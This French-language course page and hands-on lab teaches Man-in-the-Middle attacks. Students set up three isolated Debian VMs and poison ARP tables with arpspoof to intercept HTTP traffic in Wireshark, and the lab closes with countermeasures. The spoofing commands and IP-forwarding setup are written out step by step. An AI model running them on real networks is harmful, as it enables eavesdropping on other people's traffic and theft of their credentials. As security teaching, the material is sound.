Man in the middle
Une attaque qui intercepte les communications
Notions théoriques
Une attaque Man in the Middle se produit quand une personne mal intentionnée s’insère entre 2 parties qui communiquent :
- 2 ordinateurs
- 1 ordinateur et 1 serveur
- 1 smartphone et un réseau social
- 1 smartphone et un service de jeux en ligne
- etc
Ces 2 parties pensent parler directement l’une à l’autre, mais en réalité, l’attaquant intercepte tout.
L’objectif d'une attaque Man in the Middle peut être :
- d'écouter les échanges,
- de voler des informations
- ou même de modifier ce qui est envoyé.
Imaginez une conversation par lettre entre 2 amis.
- Si quelqu’un ouvre les enveloppes en secret, lit les messages, et les remet ensuite, c’est une attaque passive.
- S’il change les mots avant de renvoyer la lettre, c’est une attaque active.
Sur un réseau informatique, c’est pareil, mais avec des données numériques.
Il existe plusieurs façons de faire une attaque MitM :
- L’ARP Spoofing trompe les machines d’un réseau local pour qu’elles envoient leurs données à l’attaquant.
- Le DNS Spoofing redirige vers un faux site Web.
- Le SSL Stripping enlève le chiffrement d’une connexion sécurisée.
- Un Wi-Fi Evil Twin crée un faux réseau Wi-Fi pour piéger les utilisateurs.
Les risques sont sérieux : vol de mots de passe, d’informations bancaires, ou encore injection de virus.
Pour se protéger, il faut utiliser des connexions sécurisées comme HTTPS, vérifier les certificats, ou employer un VPN.
Mettre à jour ses logiciels aide aussi à limiter les failles exploitables.
Ces attaques sont discrètes, mais elles peuvent causer beaucoup de dégâts si elles réussissent.
Comprendre comment elles marchent permet de mieux sécuriser ses données.
Exemple pratique
Il est possible de simuler une attaque MitM sur un réseau local avec des outils simples.
Prenons un cas avec 3 ordinateurs :
- 2 ordinateurs qui communiquent (A et B)
- et 1 ordinateur (C) qui joue l’attaquant.
-
Configurer d’abord un réseau local où A et B échangent des données, comme des messages ou des fichiers.
-
Sur C, installer Wireshark, un logiciel pour capturer le trafic réseau.
-
Ensuite, utiliser une technique comme l’ARP Spoofing pour faire croire à A que C est B, et à B que C est A.
-
Lancer Wireshark sur C pour voir les données passer :
- Si A envoie un message à B, C l’intercepte et peut le lire.
- Modifier les données est aussi possible avant de les renvoyer.
- Par exemple, si A envoie “Salut”, C pourrait changer ça en “Coucou” sans que A ou B ne s’en rende compte.
Une attaque MitM peut être invisible et puissante sur un réseau non sécurisé.
Test de mémorisation/compréhension
TP pour réfléchir et résoudre des problèmes
Objectif
Simuler une attaque Man in the Middle (MitM) par ARP Spoofing dans un réseau local isolé, composé exclusivement de machines virtuelles sous Proxmox :
- une VM Debian avec LXDE (client),
- une VM Debian Server (serveur Web),
- une VM Debian (attaquant).
L’attaquant va intercepter le trafic HTTP entre le client et le serveur, puis va l'analyser avec Wireshark.
Matériel requis
- Proxmox VE installé
- 3 VM Debian créées à partir d'un template (minimum 2 Go RAM, 1 CPU)
- VM 1 : Debian avec interface graphique LXDE (Client)
- VM 2 : Debian Server sans GUI (Serveur Web)
- VM 3 : Debian Server sans GUI (Attaquant)
- Toutes les machines connectées au même pont réseau (Bridge)
vmbr0pour simuler un réseau local. - Les adresses IP sont statiques (pas de DHCP).
Sous Proxmox, créez les 3 VM nécessaires avant de commencer la configuration.
Qu'est ce que dsniff ?
dsniff est une collection d'outils pour l'audit de sécurité et le test de pénétration réseaux.
Il inclut arpspoof, qui permet de falsifier les réponses ARP pour intercepter le trafic sur un réseau local (attaque Man in the Middle).
Il est souvent utilisé pour démontrer l'importance du chiffrement des données.
Qu'est ce que Wireshark ?
Wireshark est un analyseur de protocole réseau gratuit et open source.
Il permet de capturer les paquets de données circulant sur un réseau et de les examiner en détail. C'est un outil incontournable pour le dépannage réseau et l'analyse de sécurité.
Plan du TP
- Configuration réseau avec IPs statiques
- Installation et configuration du serveur Web
- Préparation de la machine Debian pour l’attaque
- Lancement de l’attaque ARP Spoofing
- Interception et analyse du trafic avec Wireshark
- Réflexion sur les protections
Étape 1 : Configuration réseau avec IPs statiques
Objectif
Assigner manuellement des adresses IP aux 3 machines pour qu’elles puissent communiquer sans DHCP sur le même réseau virtuel.
Remplacez
eth0par le nom de votre interface (souventens18ouenp0s3) si nécessaire, via la commandeip a.
VM Debian LXDE (client)
Ouvrir un terminal et éditer la configuration réseau :
sudo nano /etc/network/interfaces
Modifier ou ajouter la configuration de l'interface principale :
auto eth0
iface eth0 inet static
address 192.168.1.10
netmask 255.255.255.0
Appliquer les changements :
sudo systemctl restart networking
Vérifier l'adresse IP :
ip addr show
VM Debian Server (serveur)
Éditer la configuration réseau :
sudo nano /etc/network/interfaces
Ajouter :
auto eth0
iface eth0 inet static
address 192.168.1.20
netmask 255.255.255.0
Redémarrer le réseau :
sudo systemctl restart networking
Vérifier la connectivité (depuis le client vers le serveur) :
ping 192.168.1.20
VM Debian (attaquant)
Même procédure avec une adresse différente :
sudo nano /etc/network/interfaces
Configuration :
auto eth0
iface eth0 inet static
address 192.168.1.30
netmask 255.255.255.0
Appliquer :
sudo systemctl restart networking
Étape 2 : Installer Apache sur la VM Debian Server
Sur la VM Debian Server (192.168.1.20) :
sudo apt update
sudo apt install apache2 -y
Créer une page de test simple :
sudo nano /var/www/html/index.html
Y ajouter :
<h1>Site Web Interne - Serveur 192.168.1.20</h1>
S'assurer qu'Apache est actif :
sudo systemctl status apache2
Test depuis la VM Client (LXDE)
Lancer le navigateur web (par exemple Firefox ou Chromium) sur la VM LXDE et accéder à :
http://192.168.1.20
Le message "Site Web Interne" doit s’afficher.
Étape 3 : Préparer la VM Debian (attaquant)
Installer les outils nécessaires
Sur la VM Attaquant (192.168.1.30) :
sudo apt update
sudo apt install dsniff wireshark -y
Lors de l'installation de Wireshark, une question peut vous demander s'il faut autoriser les non-root à capturer des paquets. Répondez "Oui" pour plus de simplicité, ou utilisez sudo pour lancer l'application.
Activer le routage IP (IP Forwarding)
Cela permet à l'attaquant de transmettre les paquets interceptés pour ne pas couper la communication entre le client et le serveur.
Activer temporairement :
sudo sysctl -w net.ipv4.ip_forward=1
Rendre le changement permanent :
sudo nano /etc/sysctl.conf
Décommenter ou ajouter la ligne :
net.ipv4.ip_forward=1
Étape 4 : Lancer l’attaque ARP Spoofing
Objectif
Empoisonner les tables ARP des deux autres machines pour que tout le trafic passe par la VM de l'attaquant.
Sur la VM Debian Attaquant :
Ouvrir deux terminaux (ou onglets) distincts.
Terminal 1 : Cibler le client (LXDE)
Dire au client que l'attaquant est le serveur :
sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.20
Terminal 2 : Cibler le serveur
Dire au serveur que l'attaquant est le client :
sudo arpspoof -i eth0 -t 192.168.1.20 192.168.1.10
Vérification de l'empoisonnement ARP
Sur la VM Client (LXDE) :
Ouvrir un terminal et taper :
ip neigh show
# ou
arp -n
→ L’adresse MAC associée à l'IP 192.168.1.20 (serveur) doit maintenant être l'adresse MAC de la VM Attaquant.
Sur la VM Serveur :
ip neigh show
→ L’adresse MAC associée à l'IP 192.168.1.10 (client) doit être l'adresse MAC de la VM Attaquant.
Étape 5 : Interception avec Wireshark
-
Sur la VM Attaquant, lancer Wireshark :
sudo wiresharkSi l'interface graphique n'est pas disponible, utilisez
tsharken ligne de commande, mais Wireshark graphique est recommandé pour l'analyse. -
Sélectionner l’interface réseau (ex:
eth0) et démarrer la capture. -
Sur la VM Client (LXDE), rafraîchir la page web ou vider le cache et recharger :
http://192.168.1.20 -
Dans Wireshark (sur l'attaquant), appliquer le filtre d'affichage :
http -
Observer les résultats :
- Trouver la requête GET pour
/index.html. - Voir le contenu de la réponse (le code HTML en clair).
- Vérifier que la communication passe bien par la machine de l'attaquant.
- Trouver la requête GET pour
Étape 6 : Réflexion sur la sécurité
Données interceptées
- Le code HTML, les images et le texte sont visibles en clair.
- Si un formulaire de connexion existait sans HTTPS, les identifiants auraient été interceptés.
Contre-mesures
| Contre-mesure | Description |
|---|---|
| HTTPS | Chiffre les données, rendant l'interception inutile sans la clé privée. |
| ARP Static | Définir manuellement les correspondances IP/MAC (fastidieux sur grand réseau). |
| Détection | Utiliser des outils comme arpwatch pour alerter en cas de changement d'adresse MAC suspect. |
| Switch Sécurisé | Activer les fonctionnalités comme "Dynamic ARP Inspection" (DAI) sur les switchs gérables. |
Test facultatif : HTTPS
- Sur le serveur, activer le module SSL d'Apache (auto-signé) :
sudo a2enmod ssl
sudo a2ensite default-ssl.conf
sudo systemctl restart apache2 - Sur le client, accéder à
https://192.168.1.20(accepter l'avertissement de sécurité). - Observer dans Wireshark : le protocole devient TLS, les données sont illisibles.
Conclusion
Ce TP vous a permis de :
- Déployer un environnement virtuel complet sous Proxmox.
- Configurer un réseau local statique sur des VM Debian.
- Mettre en œuvre une attaque Man in the Middle concrète via ARP Spoofing.
- Visualiser l'importance critique du chiffrement (HTTPS) face à l'écoute passive.
Pour aller plus loin
- Créer un petit script Python
http.serversur le serveur et essayer d'injecter du code avecettercap. - Configurer un serveur DHCP sur l'une des VM pour automatiser l'attribution IP et observer l'impact.
- Analyser les logs système (
/var/log/syslog) pour voir si l'attaque laisse des traces visibles.